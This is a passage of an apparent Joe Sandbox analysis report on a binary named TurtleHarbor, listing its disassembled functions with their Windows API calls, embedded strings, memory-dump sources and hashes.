                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 0039CD38
                                            • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0039CD43
                                            • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0039CD66
                                            • _wcscat.LIBCMT ref: 0039CD96
                                            • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0039CDAD
                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 0039CDC6
                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 0039CDDD
                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 0039CDFF
                                            • DragFinish.SHELL32(?), ref: 0039CE06
                                            • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0039CEF9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                            • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                            • API String ID: 169749273-3440237614
                                            • Opcode ID: f413181fc9b2e9449f2afb46b7ce67841b961acc0bc958ed99f20bf54c27de0f
                                            • Instruction ID: 8224ab7a4ca2ce73020e577cb7fa430b5c002a2dbbc61ec4408b284726628ea6
                                            • Opcode Fuzzy Hash: f413181fc9b2e9449f2afb46b7ce67841b961acc0bc958ed99f20bf54c27de0f
                                            • Instruction Fuzzy Hash: 68617C71508301AFC706EF54DC85E9FBBE8EF89750F000A1EF595971A1DB709A49CB92
                                            Function 003782D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • VariantInit.OLEAUT32(00000000), ref: 0037831A
                                            • VariantCopy.OLEAUT32(00000000,?), ref: 00378323
                                            • VariantClear.OLEAUT32(00000000), ref: 0037832F
                                            • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0037841D
                                            • __swprintf.LIBCMT ref: 0037844D
                                            • VarR8FromDec.OLEAUT32(?,?), ref: 00378479
                                            • VariantInit.OLEAUT32(?), ref: 0037852A
                                            • SysFreeString.OLEAUT32(?), ref: 003785BE
                                            • VariantClear.OLEAUT32(?), ref: 00378618
                                            • VariantClear.OLEAUT32(?), ref: 00378627
                                            • VariantInit.OLEAUT32(00000000), ref: 00378665
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
                                            • String ID: %4d%02d%02d%02d%02d%02d$Default
                                            • API String ID: 3730832054-3931177956
                                            • Opcode ID: f3934b2fbcd76bbc3a34ed0d961c14beeed74ceec25756035abf5ea659d8d58f
                                            • Instruction ID: 825978e6ac95130c0d2b2a40f9d467ff22b2c8c625ac816f3273faf4f475b4ea
                                            • Opcode Fuzzy Hash: f3934b2fbcd76bbc3a34ed0d961c14beeed74ceec25756035abf5ea659d8d58f
                                            • Instruction Fuzzy Hash: FDD1BD39644515EBEB369BA9C898A7EB7B8BF05700F14C555E40DAF690CF38E840DBA0
                                            Function 003949CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CharUpperBuffW.USER32(?,?), ref: 00394A61
                                            • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00394AAC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharMessageSendUpper
                                            • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                            • API String ID: 3974292440-4258414348
                                            • Opcode ID: 1ca9f07db2b72c3d60453b0c86f876bc35140caa8fa6a89df34a58739c2c70ec
                                            • Instruction ID: 39696f86e2ba3d6be9d884e67145a60a19c97283bf60aa5c9de8f8b2aa5f47a5
                                            • Opcode Fuzzy Hash: 1ca9f07db2b72c3d60453b0c86f876bc35140caa8fa6a89df34a58739c2c70ec
                                            • Instruction Fuzzy Hash: 13919D742007119FCF0AEF20C451EAAB7E5AF98354F11885CF8965B7A2DB30ED4ACB81
                                            Function 0039BE70 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0039BF26
                                            • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,003997E7), ref: 0039BF82
                                            • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0039BFBB
                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0039BFFE
                                            • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0039C035
                                            • FreeLibrary.KERNEL32(?), ref: 0039C041
                                            • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0039C051
                                            • DestroyIcon.USER32(?,?,?,?,?,003997E7), ref: 0039C060
                                            • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0039C07D
                                            • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0039C089
                                              • Part of subcall function 0033312D: __wcsicmp_l.LIBCMT ref: 003331B6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                            • String ID: .dll$.exe$.icl
                                            • API String ID: 1212759294-1154884017
                                            • Opcode ID: 0ec6797715ccb437a553e279c23b1d92ffd52c2901f9fb1c9a6e6f7863e77f23
                                            • Instruction ID: db81af9401d014c64b6e149547d77ddebf124c461d8ed191f20e21bd7d1ad907
                                            • Opcode Fuzzy Hash: 0ec6797715ccb437a553e279c23b1d92ffd52c2901f9fb1c9a6e6f7863e77f23
                                            • Instruction Fuzzy Hash: 7E61B0B1510218FAEF1A9F64DC85BBA77ACEB08710F104209F916DA1D1DB75AA80DBA0
                                            Function 0037E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLocalTime.KERNEL32(?), ref: 0037E31F
                                            • SystemTimeToFileTime.KERNEL32(?,?), ref: 0037E32F
                                            • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0037E33B
                                            • __wsplitpath.LIBCMT ref: 0037E399
                                            • _wcscat.LIBCMT ref: 0037E3B1
                                            • _wcscat.LIBCMT ref: 0037E3C3
                                            • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0037E3D8
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0037E3EC
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0037E41E
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0037E43F
                                            • _wcscpy.LIBCMT ref: 0037E44B
                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0037E48A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                            • String ID: *.*
                                            • API String ID: 3566783562-438819550
                                            • Opcode ID: ae88f03155b75fc8c3e336cbdd26d91e9c98bd58338b28c656b4f33df06d7d9a
                                            • Instruction ID: 34167342cd7f9550b482514ead24e1e039faf19d26e6d0f3e5b6cebb39f93ecb
                                            • Opcode Fuzzy Hash: ae88f03155b75fc8c3e336cbdd26d91e9c98bd58338b28c656b4f33df06d7d9a
                                            • Instruction Fuzzy Hash: AE615A725047459FC726EF60C884A9EB3E8FF89310F04895EF9898B251DB35E945CB92
                                            Function 003123F7 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 170timeCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00311F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00312412,?,00000000,?,?,?,?,00311AA7,00000000,?), ref: 00311F76
                                            • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 003124AF
                                            • KillTimer.USER32(-00000001,?,?,?,?,00311AA7,00000000,?,?,00311EBE,?,?), ref: 0031254A
                                            • DestroyAcceleratorTable.USER32(00000000), ref: 0034BFE7
                                            • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00311AA7,00000000,?,?,00311EBE,?,?), ref: 0034C018
                                            • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00311AA7,00000000,?,?,00311EBE,?,?), ref: 0034C02F
                                            • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00311AA7,00000000,?,?,00311EBE,?,?), ref: 0034C04B
                                            • DeleteObject.GDI32(00000000), ref: 0034C05D
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                            • String ID: h:
                                            • API String ID: 641708696-2924159345
                                            • Opcode ID: 058a968b056bbe1a46c41bc22b5aa5f361a9f8a30802f7829190fef6353d8953
                                            • Instruction ID: 2e01831c9be8e0c0520b6577b0ec0657a2934e68cf2c964287c84a513ceae092
                                            • Opcode Fuzzy Hash: 058a968b056bbe1a46c41bc22b5aa5f361a9f8a30802f7829190fef6353d8953
                                            • Instruction Fuzzy Hash: 4561CE31116600DFDB2BDF15D848B7AB7F5FB49312F11951AE4424A960C771B8E0EF90
                                            Function 0037A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0037A2C2
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0037A2E3
                                            • __swprintf.LIBCMT ref: 0037A33C
                                            • __swprintf.LIBCMT ref: 0037A355
                                            • _wprintf.LIBCMT ref: 0037A3FC
                                            • _wprintf.LIBCMT ref: 0037A41A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LoadString__swprintf_wprintf$_memmove
                                            • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                            • API String ID: 311963372-3080491070
                                            • Opcode ID: b2b0d2379f4c1a70a873ec195baf168d1fbe250c7e503ffb7f81656e19a42db1
                                            • Instruction ID: b06287f9568c2b79a8b1fab390e64f45a1a6d5f3abd7bac9615a0feab08ed156
                                            • Opcode Fuzzy Hash: b2b0d2379f4c1a70a873ec195baf168d1fbe250c7e503ffb7f81656e19a42db1
                                            • Instruction Fuzzy Hash: 1951E232900529AACF27EBE0EE46EEEB778EF14340F104155F409B6052EB352F58DBA1
                                            Function 00370065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000001,?,0035F8B8,00000001,0000138C,00000001,00000001,00000001,?,00383FF9,00000001), ref: 0037009A
                                            • LoadStringW.USER32(00000000,?,0035F8B8,00000001), ref: 003700A3
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • GetModuleHandleW.KERNEL32(00000000,003D7310,?,00000FFF,?,?,0035F8B8,00000001,0000138C,00000001,00000001,00000001,?,00383FF9,00000001,00000001), ref: 003700C5
                                            • LoadStringW.USER32(00000000,?,0035F8B8,00000001), ref: 003700C8
                                            • __swprintf.LIBCMT ref: 00370118
                                            • __swprintf.LIBCMT ref: 00370129
                                            • _wprintf.LIBCMT ref: 003701D2
                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 003701E9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
                                            • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                            • API String ID: 984253442-2268648507
                                            • Opcode ID: f5db29a8b7c9086c439ac57ae35f369589d4751f84f07488a5f9ce31cfe75f42
                                            • Instruction ID: 2ea489c5bacb3b20fed1d165aab5ab02ebc156277d60f97305257de3ecde6838
                                            • Opcode Fuzzy Hash: f5db29a8b7c9086c439ac57ae35f369589d4751f84f07488a5f9ce31cfe75f42
                                            • Instruction Fuzzy Hash: 16414D72840129AACB16FBE0DE86EEEB77CAF24341F504155F505BA092DB356F48CBA1
                                            Function 0037A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • CharLowerBuffW.USER32(?,?), ref: 0037AA0E
                                            • GetDriveTypeW.KERNEL32 ref: 0037AA5B
                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0037AAA3
                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0037AADA
                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0037AB08
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                            • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                            • API String ID: 2698844021-4113822522
                                            • Opcode ID: 95a4a06f4abf0fdd3445406fe428488b24414a1e211cb3f40172ee64134500d1
                                            • Instruction ID: 4b9ddfc3faf9958d44a816d1f367e320facf5334e09704e8367c394d88d4555b
                                            • Opcode Fuzzy Hash: 95a4a06f4abf0fdd3445406fe428488b24414a1e211cb3f40172ee64134500d1
                                            • Instruction Fuzzy Hash: F0516D711043159FC706EF10D992D6AB3F8FF98758F10891DF8999B261DB31AE05CB92
                                            Function 0037A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0037A852
                                            • __swprintf.LIBCMT ref: 0037A874
                                            • CreateDirectoryW.KERNEL32(?,00000000), ref: 0037A8B1
                                            • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0037A8D6
                                            • _memset.LIBCMT ref: 0037A8F5
                                            • _wcsncpy.LIBCMT ref: 0037A931
                                            • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0037A966
                                            • CloseHandle.KERNEL32(00000000), ref: 0037A971
                                            • RemoveDirectoryW.KERNEL32(?), ref: 0037A97A
                                            • CloseHandle.KERNEL32(00000000), ref: 0037A984
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                            • String ID: :$\$\??\%s
                                            • API String ID: 2733774712-3457252023
                                            • Opcode ID: aabc933ae316982ca848e03af91f86ebf04a729398a6dd2d0599a11715d87a87
                                            • Instruction ID: 0bd2c1138d7a78cde46b0d267c12ae85e1d317bfe70214ee3d5c072e62982faa
                                            • Opcode Fuzzy Hash: aabc933ae316982ca848e03af91f86ebf04a729398a6dd2d0599a11715d87a87
                                            • Instruction Fuzzy Hash: 1131D471500219ABDB229FA0DC89FEF77BCEF89700F1141B6F608D6160E77496448B25
                                            Function 0039C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,0039982C,?,?), ref: 0039C0C8
                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C0DF
                                            • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C0EA
                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C0F7
                                            • GlobalLock.KERNEL32(00000000,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C100
                                            • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C10F
                                            • GlobalUnlock.KERNEL32(00000000,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C118
                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C11F
                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0039982C,?,?,00000000,?), ref: 0039C130
                                            • OleLoadPicture.OLEAUT32(?,00000000,00000000,003A3C7C,?), ref: 0039C149
                                            • GlobalFree.KERNEL32(00000000), ref: 0039C159
                                            • GetObjectW.GDI32(00000000,00000018,?), ref: 0039C17D
                                            • CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0039C1A8
                                            • DeleteObject.GDI32(00000000), ref: 0039C1D0
                                            • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0039C1E6
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                            • String ID:
                                            • API String ID: 3840717409-0
                                            • Opcode ID: 7ac8346015b7b19ccd47afe3dc2dbc52ff2e50ebc707524beadbb4f4388924b5
                                            • Instruction ID: 33c1a94595372df6ee24b24b7ccbab5cf6c6add4aa2f98d97f5cee9508b2a4d9
                                            • Opcode Fuzzy Hash: 7ac8346015b7b19ccd47afe3dc2dbc52ff2e50ebc707524beadbb4f4388924b5
                                            • Instruction Fuzzy Hash: 16411975640208EFDB269F65DC88EAABBBDEF8A711F104058F906E72A0D7319D41DB60
                                            Function 0037DEDC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            • __wsplitpath.LIBCMT ref: 0037E053
                                            • _wcscat.LIBCMT ref: 0037E06B
                                            • _wcscat.LIBCMT ref: 0037E07D
                                            • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0037E092
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0037E0A6
                                            • GetFileAttributesW.KERNEL32(?), ref: 0037E0BE
                                            • SetFileAttributesW.KERNEL32(?,00000000), ref: 0037E0D8
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0037E0EA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
                                            • String ID: *.*
                                            • API String ID: 34673085-438819550
                                            • Opcode ID: 3bc117601294aa320389ce5a7f924eba4037a5696729471d48efb3c5bf00a704
                                            • Instruction ID: b12469b4e72bc2c7d1c51dbf8b4e95426a36205ecef6e2986e28e38a510ead57
                                            • Opcode Fuzzy Hash: 3bc117601294aa320389ce5a7f924eba4037a5696729471d48efb3c5bf00a704
                                            • Instruction Fuzzy Hash: EE8171715042419FCB36EF64C88596AB7E8EF99310F19C82EF48EDB251E738E944CB52
                                            Function 0039C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0039C8A4
                                            • GetFocus.USER32 ref: 0039C8B4
                                            • GetDlgCtrlID.USER32(00000000), ref: 0039C8BF
                                            • _memset.LIBCMT ref: 0039C9EA
                                            • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0039CA15
                                            • GetMenuItemCount.USER32(?), ref: 0039CA35
                                            • GetMenuItemID.USER32(?,00000000), ref: 0039CA48
                                            • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0039CA7C
                                            • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0039CAC4
                                            • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0039CAFC
                                            • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0039CB31
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
